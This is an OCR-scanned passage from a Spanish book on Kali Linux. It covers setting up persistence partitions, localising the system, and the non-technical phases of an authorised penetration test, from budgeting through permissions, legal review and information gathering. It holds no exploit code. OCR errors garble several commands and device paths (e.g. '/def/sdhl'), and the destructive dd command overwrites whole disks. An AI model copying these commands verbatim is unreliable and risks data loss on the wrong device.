también el escenario para hacer pruebas con Kali sobre una mdquina arbitraria, sea
Linux o Windows.

Lo primero es crear el disco donde vamos a instalar la particion virtualizada.
Esto lo podemos hacer habitualmente desde la propia herramienta de virtualizacion,
creando un disco adicional. El disco debe tener mds de 8 GB, y es recomendable que
tenga 16 GB.

Si la herramienta de virtualizacion no dispone de mecanismo para crear
discos duros virtualizados, o queremos hacerlo “a mano”, creamos el disco con:

dd if=/dev/zero of=imagenpersistencia.img bs=1M count=tam

Donde imagenpersistencia.img es el nombre que le queremos dar a la
imagen de persistencia —da igual cual sea, mientras seamos consistentes- y tam es el
tamano en megabytes de la imagen de persistencia. Por ejemplo, para una imagen de
persistencia de 8 GB, hacemos:

if=/dev/zero of=imagenpersistencia.img bs=1M count =8192

De momento, hemos creado el disco, no la particion. Ahora vamos a
particionarlo. Entramos en el disco, con fdisk:

fdisk imagenpersistencia.img
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Obteniendo:

GNU Fdisk 1.2.4

Copyright (C) 1998 - 2006 Free Software Foundation, Inc.

This program is free software, covered by the GNU General Public License.

This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel. Changes will remain in memory only,

until you decide to write them. After that, of course, the previous

content won’t be recoverable.

Using /local/vms/Kali2017.2.persistencia/imagenpersistencia.img

Command (m for help):

Creamos una nueva particion con n:

Partition type
extended
primary partition (1-4)

Queremos una particion primaria, por lo que pulsamos p, obteniendo:

First cylinder (default Ocyl):

Ahora nos estd pidiendo el primer bloque de la particion nueva; como
queremos destinar el archivo completo a imagen de persistencia, pulsamos “Enter”,
obteniendo:

Last cylinder or +size or +sizeMB or +sizeKB  (default
131071cyl):

Ahora nos pregunta por el tltimo bloque. No nos debe preocupar que el
numero de cilindro salga disparatado, es normal en las imagenes en fichero. Si
pulsamos “Enter”, tomard el udltimo bloque del disco; que es precisamente lo que
queremos. Aparece despus:

Command (m for help):

Verificamos que todo ha funcionado correctamente pulsando otra vez p, y
obtenemos:
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Disk /local/vms/Kali2017.2.persistencia/imagenpersistencia.img: 8 GB, 8589934592 bytes
4 heads, 32 sectors/track, 131072 cylinders Units =
cylinders of 128, 512 = 65536 bytes

Device Boot Start End Blocks Id System
imagenpersistencia.imgl 1 131072 8388592 83 Linux
Command (m for help):

Para salir grabando lo que hemos hecho, pulsamos w; la salida serd algo
COmo:

Writing all changes to /local/vms/Kali2017.2.persistencia/imagenpersistencia.img.

1.5.2.2 CREANDO UNA PARTICION DE PERSISTENCIA PARA EJECUCION NATIVA
EN EL PROPIO LLAVERO USB DE LA KALI

En el caso de que queramos crear una particion de persistencia para ejecucion
nativa desde un llavero USB con Kali, necesitamos un llavero USB con mucho
espacio -16 GB o0 mds-. Con 8 GB se puede hacer para pruebas, aunque queda algo
justo cuando trabajemos con Kali de forma continua.

Primero volcamos la imagen de Kali en la unidad en la que queramos que
se instale —0jo, sobrescribiremos el contenido de la unidad y perderemos lo que
tuviéramos-. Esto lo hacemos con:

dd if=imagen.iso of=dispositivo bs=1M

Donde imagen.iso corresponde con la imagen ISO que queremos instalar, y
que habremos descargado mediante uno de los pasos explicados con anterioridad;
y dispositivo corresponde con el dispositivo en el que pretendemos instalar. Si la
imagen que queremos instalar es kali-linux-2017.2-amd64.iso y el dispositivo el
/dev/sdc, por ejemplo, hacemos:

dd if=kali-linux-2017.2-amd64.iso of=/dev/sdc bs=1M

Ojo, dispositivo completo, no particion; por lo que al hacer esto
sobrescribiremos la tabla de particiones, y nos “cargaremos” todo lo que hubiera en
el disco. dispositivo puede ser un disco duro, una particién o un fichero.

Ahora creamos la particion de persistencia. Para crear la particion de
persistencia, lo siguiente serd entrar en la particion con fdisk o parted -a nuestra
preferencia-; y creamos una tercera particion con el espacio que queramos emplear
para la particion de persistencia— que almacenara nuestros datos, y las modificaciones



© RA-MA Capitulo 1. LA DISTRIBUCION KALI 43

a los ficheros de la imagen live—. Por ejemplo, si estamos trabajando con el dispositivo
y queremos utilizar fdisk, hariamos:

fdisk dispositivo

Si utilizamos, por ejemplo, /dev/sdi, porque no vamos a trabajar en un
sistema virtualizado, haremos:

fdisk /dev/sdi
Aparecerd algo similar a lo siguiente:

GNU Fdisk 1.2.4

Copyright (C) 1998 - 2006 Free Software Foundation, Inc. This program
is free software, covered by the GNU General Public License.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

Using /dev/sdi

Command (m for help):

Lo primero que debemos hacer es ver ddnde termina la tltima de las
particiones de la distribucién Live que estd en la imagen; lo que hacemos con p;
resultando en nuestro ejemplo:

Disk /dev/sdi: 8 GB, 8178892800 bytes
64 heads, 32 sectors/track, 7800 cylinders Units =
cylinders of 2048 .512 = 1048576 bytes

Device Boot
System Start End Blocks Id
/dev/sdil
* Hidd HPFS/NTFS 1 2830 2897904 17

Warning: Partition 1 does not end on cylinder boundary.
/dev/sdi2 2830 2935 107520 1 FAT12
Warning: Partition 2 does not end on cylinder boundary.

Aqui nos tenemos que fijar en el bloque final de la segunda particion, que
seria el 2935; luego el bloque libre siguiente es el 2936. Creamos una particion
nueva, lo que hacemos con n, resultando en nuestro ejemplo:
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Partition type
5 extended
p primary partition (1-4)

Queremos una particion primaria, por lo que pulsamos p, obteniendo:
First cylinder (default Ocyl):

Ahora nos estd pidiendo el primer bloque de la particion nueva, que tiene que

ser el inmediatamente posterior al dltimo de la tltima particion -en nuestro ejemplo,
2936-; por lo que tecleamos el nimero requerido, y pulsamos “Enter”, obteniendo:

Last cylinder or +size or +sizeMB or +sizeKB (default
7799cyl):

Ahora nos pregunta por el dltimo bloque. Si pulsamos “Enter”, tomard el

tltimo bloque del disco.

Command (m for help):

Verificamos que todo ha funcionado correctamente pulsando otra vez p, y

obtenemos:

como:

Disk /dev/sdi: 8 GB, 8178892800 bytes
64 heads, 32 sectors/track, 7800 cylinders Units =
cylinders of 2048, 512 = 1048576 bytes

Device Boot
System Start End Blocks Id
/dev/sdil
T T 1 2830 2897904 17
Warning: Partition 1 does not end on cylinder boundary.
/dev/sdi2 2830 2935 107520 1
FAT12
Warning: Partition 2 does not end on cylinder boundary.
/dev/sdi3 2936 7800 4980736 83
Linux

Para salir grabando lo que hemos hecho, pulsamos w; la salida serd algo

Writing all changes to /dev/sdi
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1.5.2.3 CREANDO UNA PARTICION DE PERSISTENCIA PARA EJECUCION NATIVA
EN UN DISCO FiSICO

Aqui no tendremos demasiado problema. Basta con crear la particion en el
volumen que queramos, con nuestra herramienta de particionado favorita; y pasar al
siguiente paso.

1.5.3 Configurando la particion de persistencia

Para configurar la particion de persistencia, arrancamos desde Kali; y asi
ya podemos utilizar independientemente de cdmo hayamos llegado hasta aqui
comandos andlogos.

Reiniciamos la mdquina utilizando como imagen o particion de arranque
dénde el DVD o el USB de Kali -no la pantalla de persistencia, sino Kali en si-,
obteniendo esta pantalla:

KALI

“the quieter you becone, the more you are able to hear”

Boot menu

Live (amdb4)

Live (amd6t1 failsafc)

Live (forensic mode)

Live USB Persistence (check kali.org-prst)
Live USB Encrypted Persistence (check kali.org-prst)
Install

Graphical install

Install with speech synthesis

Advanced options

Arrancamos en modo Live, y abrimos una consola de texto.

Seleccionamos Live USB Persistence, y entraremos en una Kali perfectamente
funcional, pero en inglés. El siguiente paso serd pasar Kali a espanol. Para hacerlo,
abrimos una consola de texto -segundo icono en la columna de la izquierda, contando
desde arriba-. El siguiente paso serd formatear la particion de persistencia con ext3.
Suponiendo que la tenemos en /dev/sdh1, por ejemplo, lo hacemos con:
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mkfs.ext3 -L persistence /dev/sdhl

Si no le hemos puesto antes la etiqueta “persistence”, se la ponemos:
e2label /def/sdhl persistence

Finalmente, creamos el fichero de configuracion del sistema de ficheros:

mount /def/sdhl /mnt
echo "/ union" > /mnt/persistence.conf umount /mnt

1.5.4 Configurando el sistema Kali con la particion de persistencia

Reiniciamos otra vez, y arrancamos otra vez desde donde tenemos Kali
instalada:

KALI

“the quieter you become, filie more you are able to hear”

Boot menu

Live (amd64)

Live (amd64 failsafel

Live (forensic mode)

Live USB Persistence (check kali.org-prst)
Live USB Encrypted Persistence (check kali.org-prst)
Install

Graphical install

Install with speech synthesis

fidvanced options

Seleccionamos Live USB Persistence, y entraremos en una Kali
perfectamente funcional, pero en inglés. El siguiente paso serd pasar Kali a espafiol.
Para hacerlo, abrimos una consola de texto -segundo icono en la columna de la
izquierda, contando desde arriba-. Abierta la consola, hacemos:

dpkg-reconfigure locales

Seleccionamos los locales en espanol con soporte UTF8:
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Applications - Places = |:| Terminal = Sat 20:05'1.5'

root@kali: ~
File Edit Wiew S5earch Temminal Help

Package configuration

| Configuring locales |
Locales are a Tranework to switch between multlple languages and allow
users to use their language, country, characters, collation order, etc.

Please chopse which locales to generate. UTF-B lacales should be chosen
by default, particularly for new lnstallations. Other character sets may
be useful for backwards compatibility with older systems and software.

Lacales to be generated:

<Cancels

En esta captura vemos que en segundo plano he comenzado a actualizar
repositorios y paquetes. Es muy recomendable que hagamos ambas operaciones; lo
que ya hemos visto como hacerlo en el apartado anterior.

Después de dar al Ok, seleccionamos como locale; que por defecto serd
es ES.UTF-8:

[ Terminal =
root@kali; ~
File Edit Wiew Search Terminal Help

1 Configuring locales |
Many packages in Debian use locales to display text in the correct
language for the user. You can choose & default locale for the system
from the genarated locales.

This will select the default Langusge for the entire system. If this
system is a multi-user system where not 8l1 users are able to spesk the
default language, they will experisnce difficulties.

Default locale for the system environment:

Hanz

C.UTF-8
an US.UTF-8
Es ES . LTF-A

=Cancel=
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Con eso hemos terminado la configuracion de linea de comandos. La del
interfaz grafico va por otro lado. Seleccionamos el icono mas a la derecha de la
barra superior el de apagado-, y seleccionamos en la parte baja izquierda del ment
desplegado el destornillador y la llave inglesa cruzadas:

Sat 20:07

Wired Connected

Froxy Mone

root

Y seleccionamos en la parte baja izquierda del menu desplegado el
destornilladory la llave inglesa cruzadas; entrando asi en la pantalla de configuracion:

-

All Settings a ee
Personal
Backgreund Neotifications Online Privacy Region & Search
Accounts Language
Hardware
@ a |
.
Blustooth Color Displays Keyboard Mouse & Metwork
Touchpad

@ ® ¥ =

Power Printers Sound Wacom Tablet

System

@ &8 8 W 06

Date & Time Detzils Sharing Universal Users
Access
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Seleccionamos el icono Region & Language, y cambiamos Language por
“Espanol” y Formats por “Espafia”:

< | Region & Language 0
Language Espafiol (Espafia)
Formats Espafia (Espafiol)
Input Sources
4+ - A v @

Finalmente solo falta cambiar la fuente de entrada a teclado espanol, y
que este sea el teclado por defecto. Seleccionamos el simbolo + que vemos en el
cuadro de Input Sources abajo a la izquierda, y se nos despliega el meni de teclados;
seleccionamos el idioma espanol:

Cancel | Add an Input Source . Add

Arabic (Egypt)
Chinese (China)
English (United Kingdom)
English (United States)
French (France)
German (Germany)
Japanese

Russian (Russian Federation)

Spanish (Spain)

Dentro del idioma espafol, seleccionamos el tipo de teclado espanol
que tenemos -si no estamos seguros de cual es, seleccionamos el primero de los
ofrecidos-:
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| Cancel Add an Input Source m

L 4 Spanish (Spain)

Spanish (Dvorak)

Spanish {Latin American)

Spanish (Latin American, Dvorak)

Spanish (Latin American, Sun dead keys)
Spanish (Latin American, eliminate dead keys)
Spanish (Latin American, include dead tilde)
Spanish (Macintosh)

Spanish (Sun dead keys)

Finalmente, subimos la prioridad del teclado espanol seleccionando el
teclado espafiol del menu Input sources, y pulsando el botdn * que aparece abajo en
el centro del susodicho menu:

m Region & Language -
Language Espaiiol (Espafia)
Formats Espafia (Espafiol)
Input Sources Options
English (US)
[+]= Al =

Y con esto, ya tenemos perfectamente configurada nuestra Kali en
persistencia, a falta de actualizar repositorios y paquetes; lo que no repetiremos



© RA-MA Capitulo 1. LA DISTRIBUCION KALI 51

como se hace, ya que la operativa es exactamente la misma que la comentada en el
punto anterior de actualizacidon para una instalacion limpia de Kali.

Ademads de todo esto, Kali soporta particiones persistentes cifradas, multiples
particiones persistentes, y particiones persistentes cifradas con autodestruccion -
si tecleas una clave que decidas en lugar de la clave real, Kali borra la particion
persistente completa-. No cubriremos estos aspectos por razones de tiempo; aunque
encontraremos un tutorial para configurar estas opciones en la web:

http://docs.kali.org/kali-dojo/03-kali-linux-usb- persistence-encryption

1.6 PRIMER PASEO POR KALI

Si hemos seguido los pasos anteriores, tras el reinicio de la mdquina,
encontraremos algo como esto en la pantalla de arranque de Grub:

GNU GRUB wersion 2.02%betaZ-36

#Kall GNU/Linux

paraskaddGhL/ L 1nux
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Seleccionamos Kali y veremos la pantalla de login cuando termine el
arranque. Si vemos algo como esto...

11:14

jueves, 18 de mayo

...es que hemos dejado pasar mds tiempo de la cuenta; es un protector de
pantalla, del que salimos pulsando el retorno de carro.

Independientemente de que hayamos creado un usuario sin privilegios de
superusuario, estas primeras operaciones con Kali utilizaremos como nombre de
usuario root:
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Tecleamos la clave que hemos definido como clave de root —recordando que
si utilizamos la Kali live o la instalacion de persistencia, la clave por defecto es toor-:

Iniciar sesidn

Y llegamos a la pantalla principal de Kali, una vez que estd instalada.




54 KALI LINUX © RA-MA

En la esquina superior izquierda tenemos un desplegable con las aplicaciones
que Kali dispone, organizadas por fase dentro de la intrusion. En la columna de
la izquierda tenemos las aplicaciones que son de uso mds comun. La primera es
el navegador iceweasel, un clon de Debian del navegador firefox. La siguiente, de
arriba a abajo es la consola de texto. Despu€s el gestor de archivos, Metasploit,
Armitage, y asi hasta completar una serie de aplicaciones y utilidades de uso comun.

Metasploit va a ser una herramienta clave, ya que desde Metasploit podemos
hacer muchas operaciones forenses. Podemos utilizarlo desde linea de comandos, o
desde interfaces graficos —como puede ser Armitage—Hablaremos de Metasploit con
mds tranquilidad mds adelante durante nuestro libro.

1.7 ACTUALIZANDO LOS PAQUETES DE KALI

Es muy recomendable una vez que hemos instalado Kali, hacer una
actualizacion de paquetes. Para hacer esto, abrimos una consola de texto -sequndo
icono de la barra izquierda, contando desde arriba- y hacemos:

apt-get update

Esto actualiza los repositorios. Veremos algo como:

Lugares ~  [] Terminal ~

L1 kali-rolling InRelease
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Después de esto, actualizamos los paquetes, lo que hacemos con:
apt-get upgrade

Obteniendo una pantalla como:

Lugares + [ Terminal jue 11:19

root@kali: ~
Archive Editar Ver Buscar Terminal Ayuda
Libmagickc ; (

f-1-1 libsodiuml
n@ libude:

M
<&
-

@M w =

Ahora decimos que si pulsando “Enter”, y a esperar un buen rato. Nos hard
algunas preguntas de instalacion de paquetes; es recomendable que de momento
utilicemos siempre las opciones por defecto.






KALI PARA TESTS DE INTRUSIﬁ,N.
FASES DE UN TEST DE INTRUSION

2.1 CONCEPTOS PREVIOS

Antes de entrar en como utilizar Kali para realizar un test de intrusion, vamos
a ver como hacer un test de intrusion sin buscarnos problemas legales innecesarios;
debemos recordar que un test de intrusion no solicitado o autorizado es, de por si,
delictivo.

Un test de intrusion, test de penetracidn, o penetration test, o pentest, es
un procedimiento de auditoria de seguridad activa en el que con autorizacidn del
propietario de un sistema de informacidn, el auditor de seguridad analiza el susodicho
sistema buscando de forma proactiva agujeros de seguridad vulnerables. El test de
intrusion puede terminar al encontrar una vulnerabilidad, aunque solo sea explotable
tedricamente; puede precisar el desarrollo de una prueba de concepto para validar
que la vulnerabilidad encontrada es explotada, o puede incluso llegar a requerir que
se demuestre la vulneracion llegando a explotar la vulnerabilidad.

El test de intrusion no estd enfocado a una mdquina, sino a un sistema de
informacidn concreto. Esto involucra los servidores, los ordenadores de sobremesa
y el software de sistemas. Pero -y esto se olvida con frecuencia-, involucra también
al personal, a las mecdnicas y los procedimientos de la empresa, y a la gestion de
la informacidn en su sentido mds amplio. Esto quiere decir que un test de intrusion
puede ser realmente realizado mediante técnicas de ingenieria social, 0 mediante
cualquier otra técnica que no sea necesariamente tecnoldgica.
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A diferencia de los escaneos automatizados, que son indiscriminados, el test
de intrusion requiere un andlisis previo de los sistemas de informacidn de un cliente.
Esto supone que es muy importante recoger informacion del cliente, analizarla, y
antes de comenzar a trabajar ya tener una idea clara de las vulnerabilidades. Los
tests de intrusion son especialmente utiles si se realizan después de una auditoria
de seguridad de la familia de normas ISO/IEC 27000; ya que al terminarla, el
auditor tiene una idea muy clara de cdmo funciona un sistema, de dénde estdn
sus vulnerabilidades, y aunque estrictamente hablando se haya pasado la norma
ISO/IEC 27001, el auditor puede deducir a partir de la informacidn extraida cémo
atacaria el sistema, y hasta dénde podria llegar en caso de proceder al ataque. El test de
intrusion, en este escenario, no dejaria de ser la validacion empirica de lo encontrado
después de un auditoria previa de seguridad. Recordemos que la familia de normas
ISO/IEC 27000 se centra en procedimientos: podemos tener un sistema que pase
la ISO/IEC 27001 y que tenga vulnerabilidades que sean verificables a través de
tests de intrusion; y podemos tener un sistema que, sin pasar la ISO/IEC 27001, no
tenga vulnerabilidades. Son, pues, andlisis complementarios que se pueden realizar
en el mismo pedido del cliente; en cuyo caso es recomendable realizar primero la
auditoria completa ISO/IEC 27001: desapareceran las vulnerabilidades de proceso,
y obtendremos mucha informacion que nos permitird como auditores ir directamente
a por las vulneraciones de software, servidores y redes.

Algo muy importante que nunca se destaca en exceso es que un test de intrusion
es un tema que legalmente es delicado, y es fdacil realizar actos delictivos de buena
fe. Hay que tener en cuenta que, a diferencia de una auditoria de seguridad comin
en la que se valida el cumplimiento de una norma a partir de pruebas documentales
y de la observacion directa con el benepldcito y delante del observado, un test de
intrusion no deja de ser una validacion de la sequridad a partir de la ruptura de esta.
Y las rupturas de la seguridad en sistemas informdticos son de entrada ilegales en
nuestro ordenamiento juridico. Aunque lo podamos considerar como “emocionante”,
realizar tests de intrusion es legalmente delicado, y en muchos casos es ilegal hasta
con la aprobacion expresa y explicita de la propiedad.

Cuando hablamos de “propiedad”, nos referimos al duefio de la empresa,
persona o personas con el nivel mdximo ejecutivo. Hay que tener cuidado de que
el que nos contrate pueda legalmente autorizarnos para realizar una intrusion: nos
podemos ver en el caso de que nos contrate alguien que oficialmente sea “director de
sistemas”, y que no tenga autorizacion real para permitir una intrusion.

También hemos de tener en cuenta que por mucho que la propiedad nos
autorice que hagamos algo con su sistema de informacion, eso no significa que sea
legal: de entrada, no podemos leer correos electrénicos, y no podemos intervenir
comunicaciones. En el caso de sistemas tipo cloud o en los que se haya alquilado
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una mdquina virtual o una mdquina fisica a un proveedor, es posible que muchas de
las cosas que podamos hacer no supongan intromision en los sistemas de nuestro
cliente, sino en los del proveedor de nuestro cliente, lo que es delictivo. Ademds,
algunas operaciones concretas de la mecdnica de los tests de intrusion pueden ser
delictivas en algunas jurisdicciones legales.

Aunque el planteamiento de las fases es lineal, es importante que tengamos
claro que en cualquier momento podemos volver a fases anteriores. Por ejemplo,
al redactar el alcance y las condiciones del test de intrusion podemos descubrir
que realmente tenemos que hacer cosas distintas de las presupuestadas, y ajustar el
presupuesto acorde a ello. Al realizar las validaciones legales, puede que tengamos
que reducir el alcance o alterar las condiciones de los tests de intrusion, lo que
probablemente cambie los permisos que necesitamos. Al recoger la informacion
podemos descubrir cosas del sistema que desconociamos -especialmente si
no hemos auditado el sistema respecto a la norma con anterioridad-, lo que nos
obliga a analizar la legalidad de hacer pentesting sobre lo descubierto, cambiar
el alcance y las condiciones del test, y probablemente pedir nuevos permisos. Al
analizar las vulnerabilidades podemos obtener informacion nueva que nos obligue
a rehacer pasos anteriores, y al explotar las vulnerabilidades podemos encontrar
vulnerabilidades nuevas que requieran andlisis y los pasos anteriores. Finalmente,
al presentar los resultados a la propiedad esta nos puede solicitar ampliar el dmbito
inicialmente contratado, y al formar a los trabajadores podemos detectar asuntos
que requieran ser comunicados a la propiedad. Debemos interpretar, por lo tanto,
las fases principalmente en el contexto de que unas cosas van antes que otras, y que
todas las fases las tendremos que cubrir. Habitualmente, algunas fases mds de una
Vez.

2.2 FASE CERO: EMISION DE PRESUPUESTO, ACUERDO EN LOS OBJETIVOS, Y
EMISION DE PROFORMAS INICIALES

Huelga decir que, como actividad profesional, comenzaremos emitiendo
un presupuesto. Ese presupuesto debe indicar qué objetivos se pretende cubrir, qué
pruebas se pretenden realizar, sobre qué mdquinas y durante cuanto tiempo. Es
importante que seamos todos lo explicitos que podamos: por un lado, si tenemos
que revisar el presupuesto porque el dambito de trabajo sufre alteraciones podemos
justificarlo. En segundo lugar, nada dice mas claro que se nos ha contratado un
servicio y que no lo estamos haciendo en contra de la opinidn y los intereses de la
empresa que una factura pagada.

Lo normal es que el presupuesto se haga en varias iteraciones, hasta llegar a
un acuerdo por objetivos.
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El presupuesto debe contener hitos y entregables. También debe contener
con detalle, pero sin entrar en un exceso de tecnicismos, qué proponemos hacer, y las
condiciones que a priori tenemos ambas partes; especialmente respecto a horarios de
actuacion, dias de la semana de actuacidn, rangos de fechas en los que no se puede
actuar, y numero de visitas presenciales requeridas -esto ultimo es especialmente
importante si el cliente no estd en nuestro municipio-, aunque también es importante
si el cliente estd en nuestro municipio.

Una vez que se aprueba el presupuesto, se emiten las facturas proforma.
Nunca se emite una factura por una cantidad que no se ha cobrado; ya que la
obligacion fiscal en Espafia se adquiere por la emision de la factura, no por el cobro
de esta. Y podemos ser novatos, hacer un presupuesto de cinco cifras, emitir una
factura de cinco cifras cerca del final del trimestre, y tener que afrontar el pago
de un IVA y de un adelanto del IRPF considerable sobre una factura que no ha
sido abonada. Por una factura de 10000 euros debemos hacer un abono al estado al
inicio del siguiente trimestre de 3600,00 , y hasta el ano pasado de 4200 -bajaron
las retenciones justo antes de la convocatoria de elecciones, y es probable, conocido
el pafio, que las vuelvan a subir incluso a mds del mdximo cuando se les vuelva a
torcer la recaudacion-. Salvo que tengamos 4000 euros liquidos en cuenta por cada
10000 euros facturados, y no tengamos problemas en deshacernos de ese dinero, es
recomendable emitir las facturas en el exacto momento en el que el dinero entre en
la cuenta bancaria.

Personalmente recomiendo cobrar por hitos; es decir, definir en el presupuesto
una serie de hitos, y unas cantidades que se emite factura proforma y se cobran
después de cubierto el hito y entregado el entregable. Esto supone que el presupuesto
también tiene que definir de forma muy clara qué se considera un entregable y cuales
son las condiciones de aceptacion especificas de los entregables. Es recomendable
indicar en el presupuesto que hasta que no haya aceptacion del entregable y pago del
hito no se comienza a trabajar en la préxima etapa. Mi experiencia de no hacerlo asi
es extremadamente negativa. Las fechas de compromiso deben ser siempre fechas
relativas, de duracidn, establecidas desde la fecha de aceptacion del entregable y
abono del hito. Establecer el compromiso de fechas fijas de entrega supone que la
presion por atrasos de pagos pasan del cliente a nosotros.

Es muy recomendable que solicitemos un porcentaje del proyecto por
adelantado. Eso evita cancelaciones en las que no veamos ni un duro, o que después
de llevar trabajando un mes, el cliente decide renegociar el contrato subiendo las
tareas al alza, y las condiciones econdmicas a la baja, basdndose en que o cedes
o te despides de cobrar el mes trabajado -lo que me ha pasado, y con empresas
muy respetadas—. Ese porcentaje de proyecto debe ser capaz de financiar el proyecto
hasta el primer hito con su entregable en el peor caso. Por regla general, el pago del
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cumplimiento de cualquier hito debe ser capaz de financiar la etapa inmediatamente
posterior en el peor caso. Esto supone, por un lado, que el iltimo pago va integro
a financiar la actividad comercial del proximo cliente. Por otro lado, supone que
debemos procurar que los hitos y los entregables estén lo mds equiespaciados que
sea posible, para que al cliente no le produzca disonancia cognitiva que queremos
cobrar una cantidad grande por un hito cercano.

2.3 PRIMERA FASE: ALCANCE Y CONDICIONES DEL TEST DE INTRUSION

Una vez que se abona la primera proforma y se emite la factura relacionada
con este pago, es el momento de escribir el alcance y las condiciones del test de
intrusion.

Debemos entender esta fase no tanto con especificar qué se va a hacer, sino
como se va a hacer. Es decir, como auditores primero debemos detallar y explicar
prueba a prueba qué pretendemos hacer y cuales son los potenciales resultados de
estas pruebas, para conseguir lo que hemos propuesto en el presupuesto. Lo normal
es que el cliente se asuste de lo que le estamos diciendo, y nos ponga restricciones a
lo que le estamos proponiendo. En base a estas restricciones, la propiedad o nosotros
podemos poner condiciones adicionales.

El resultado debe ser muy preciso técnicamente, y debe especificar con
detalle como proponemos realizar el test de intrusion, que resultados esperamos,
y cuales son las consecuencias en cualquier sentido de lo que hacemos. En caso
de que haya riesgo de paradas en servicios, de saturacion de red, de problemas de
carga en servidores o de pérdida de tiempo de empleados por alguna razén, debemos
hacerlo constar, y el cliente lo debe aprobar explicitamente. Es muy importante que
entendamos que esto nos librard de potenciales demandas por responsabilidad civil si
el cliente cambia de opinidn y el cliente termina disgustado por los efectos laterales
del test de intrusion.

Algunas de estas condiciones y restricciones adicionales suponen una bajada
en nuestro esfuerzo, o en lo que debemos ejecutar finalmente. Otras pueden suponer
un incremento de nuestro esfuerzo, o en las tareas a realizar. Por ello, definidas
condiciones y restricciones adicionales, debemos estimar la variacion agregada del
coste. Con frecuencia, los incrementos compensan las reducciones de coste, el coste
final es aproximadamente el presupuestado, y podemos pasar a la siguiente fase.
Si vemos que nos hemos disparado hacia arriba o hacia abajo, debemos hacérselo
constar al cliente, explicarle porqué, y volver a la fase de presupuesto si procede.
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2.4 SEGUNDA FASE: RECOLECCION INICIAL DE PERMISOS Y AUTORIZACIONES

Una vez que sabemos qué debemos hacer y cdmo queremos hacerlo, y que
la propiedad ha entendido y aceptado por escrito los efectos, consecuencias y efectos
laterales del test de intrusidn, el siguiente paso es conseguir permiso por escrito
autorizando a hacer las operaciones especificadas.

En muchos casos el documento de alcance y condiciones del test de intrusion
se puede emplear como autorizacién valida. Sin embargo, a veces hay que recabar
permisos adicionales. En el caso de que haya empresas subcontratadas, autdnomos
que realizan tareas concretas, aspectos que requieran autorizacion directa de
determinados trabajadores porque se puede invadir su esfera de privacidad, sistemas
de otras empresas —-proveedores o clientes- involucrados, o simplemente que se trate
de una empresa muy grande, que el contrato lo tengamos con un departamento o
con una sede y que esté involucrado otro departamento u otra sede, serd necesario
la obtencién de consentimientos informados de todos los actores de los que sea
requerido.

El consentimiento informado es un documento clave, por el que el individuo
o ente afecto por nuestra actividad auditora -stakeholder, como se diria en jerga
de gestion empresarial- autoriza determinadas acciones afirmando que ha sido
convenientemente informado de una serie de potenciales problemas y efectos
secundarios que se pueden dar. El consentimiento informado debe incluir por extenso
todos esos efectos, y es buena idea que segreguemos los efectos por probabilidad en
cinco categorias:

W Seguro

P Probable

P Posible

P Improbable, pero técnicamente posible
P Imposible

Si alguno de los afectos por la actividad auditora se niega a firmar el
consentimiento informado, debemos hablar con su jefe directo. La persona que se ha
recusado dard sus razonamientos al jefe directo, y nosotros los nuestros. Esto puede
dar lugar a situaciones incémodas y que nos veamos inmersos en la politica de pasillo
del cliente; pero no debemos proceder sin las autorizaciones apropiadas. En caso de
que alguna no sea posible conseguirla, debemos notificarselo a la propiedad, decir
qué pruebas concretas no podemos hacer por carecer de autorizacion, y que sea la
propiedad quien determine si sustituye a la persona durante el tiempo que se procede
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a la prueba, no se realiza esa prueba concreta, u otra persona asume la autorizacion y
firma el consentimiento informado —lo que en algunos casos es legalmente posible,
pero si se trata de derechos personales, no lo va ser. Cuando tengamos todos los
consentimientos informados, pasamos a la siguiente fase. Si no disponemos de ellos,
puede que incluso tengamos que redisefar los tests de intrusion, y que eso pueda
afectar incluso al presupuesto.

2.5 TERCERA FASE: VALIDACION LEGAL Y DE PERMISOS DEL ALCANCE Y
CONDICIONES DEL TEST DE INTRUSION

Con toda la documentacion que hemos recopilado, debemos decidir antes de
hacer nada si es legal lo que vamos a hacer, o no.

De entrada, es ilegal atacar sistemas de terceros que no nos hayan firmado
el consentimiento informado, utilizar cuentas de personas que no nos hayan
firmado el consentimiento informado. Por regla general, no podemos interceptar
comunicaciones, no podemos leer correos electrénicos en los que no somos ni
remitente, ni destinatario. No podemos robar, ni hurtar, ni apropiarnos temporalmente
de forma indebida objetos personales a empleados. No podemos registrar sus
taquillas, ni por las “buenas” -con copia de llave- ni por las “malas” -con ganzia,
llave de bumping, o radiografia-.

Si una accién es ilegal, es frecuente que pueda ser “legalizada” con el
consentimiento informado de la persona o el ente que la va a suftir. Si no es posible
o conveniente el avisar u obtener el susodicho consentimiento informado, podemos
solo analizar desde el punto de vista tedrico la factibilidad de la accidn, obteniendo
pruebas de que es factible realizarla y de cual seria el resultado de la ejecucién. O
podemos redefinir el alcance del trabajo, lo que puede suponer también cambios en
el presupuesto.

2.6 CUARTA FASE: RECOLECCION DE INFORMACION

Las fases anteriores han sido poco técnicas. Esta serd la primera de las tres
fases puramente técnicas.

La recogida de informacion pasa por emplear determinadas técnicas -tales
como el footprinting o el fingerprinting— con objeto de conocer informacién interna
de sistemas respecto a los servidores o el software cuya seguridad se va a auditar. La
ingenieria social también es una técnica muy utilizada en esta fase, ya que permite
obtener mucha informacidn con poco esfuerzo.
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Esta fase siempre la debemos encarar con un doble objetivo: por un lado,
ver cuanta informacién podria conseguir un atacante externo. Nosotros, como
auditores, en principio podemos descolgar el teléfono, llamar, y obtener determinada
informacion sin esfuerzo; pero, ¢Cuanta de esa informacion puede ser obtenida por
un atacante que no tenga esa posibilidad? Esta informacién es muy importante, ya
que una de las mejoras que deberemos proponer sera evitar el filtrado de informacion
tactica que permita al atacante ser mds efectivo.

El segundo objetivo es obtener informacidn real, prdctica, de determinados
puntos que realmente no estdn en la informacidn que nos pasan, y que los empleados
de sistemas pueden habernos ocultado. Son aspectos que en principio puede no
conocer nadie, y que sistemas los mantiene de forma extraoficial para solucionar
problemas puntuales desde su casa sin ir a la oficina, o para callar a ese directivo
que estd constantemente molestando. No seria la primera empresa que tiene una
wifi “extraoficial”, con restricciones de seguridad nulas, para que un directivo
pueda enchufar su portatil o su tablet personales a la intranet de la empresa sin dar
demasiadas explicaciones. Se ve de todo, y en la fase de recoleccion de informacidn
